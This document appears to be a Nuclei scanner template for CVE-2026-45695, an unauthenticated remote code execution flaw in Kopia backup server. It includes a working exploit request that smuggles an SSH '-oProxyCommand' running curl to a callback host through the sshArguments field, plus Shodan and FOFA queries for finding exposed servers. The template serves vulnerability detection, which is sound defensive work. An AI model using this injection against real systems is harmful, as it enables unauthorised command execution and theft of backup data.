Kopia Server 0.23.0 - Remote Code Execution

id: CVE-2026-45695

info:
  name: Kopia Server 0.23.0 - Remote Code Execution
  author: kenlacroix
  severity: critical
  description: |
    Kopia before version 0.23.0 allows unauthenticated remote code execution when started in server mode with the --without-password flag. When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument parsing, an attacker may inject arbitrary SSH options such as -oProxyCommand, resulting in execution of arbitrary commands as the server process.
  impact: |
    An unauthenticated attacker can execute arbitrary commands as the Kopia server process (often root in a container), leading to full host compromise and access to all managed backup data.
  remediation: |
    Upgrade to Kopia 0.23.0 or later, which refuses to bind an unauthenticated server to a non-loopback address. Do not expose the server with --without-password on untrusted networks.
  reference:
    - https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3
    - https://github.com/kopia/kopia/pull/5354
    - https://orca.security/resources/blog/kopia-backup-rce-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45695
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-45695
    epss-score: 0.00348
    epss-percentile: 0.28051
    cwe-id: CWE-88
  metadata:
    max-request: 1
    vendor: kopia
    product: kopia
    shodan-query: http.favicon.hash:952466528
    fofa-query: icon_hash=="952466528"
  tags: cve,cve2026,kopia,rce,ssh,injection,sftp,intrusive

http:
  - raw:
      - |
        POST /api/v1/repo/exists HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"storage":{"type":"sftp","config":{"path":"/{{rand_base(6)}}","host":"127.0.0.1","port":22,"username":"{{rand_base(6)}}","externalSSH":true,"sshArguments":"-oProxyCommand=curl${IFS}{{interactsh-url}}"}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'unable to open SFTP storage'
          - 'error":'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - 'User-Agent: curl'
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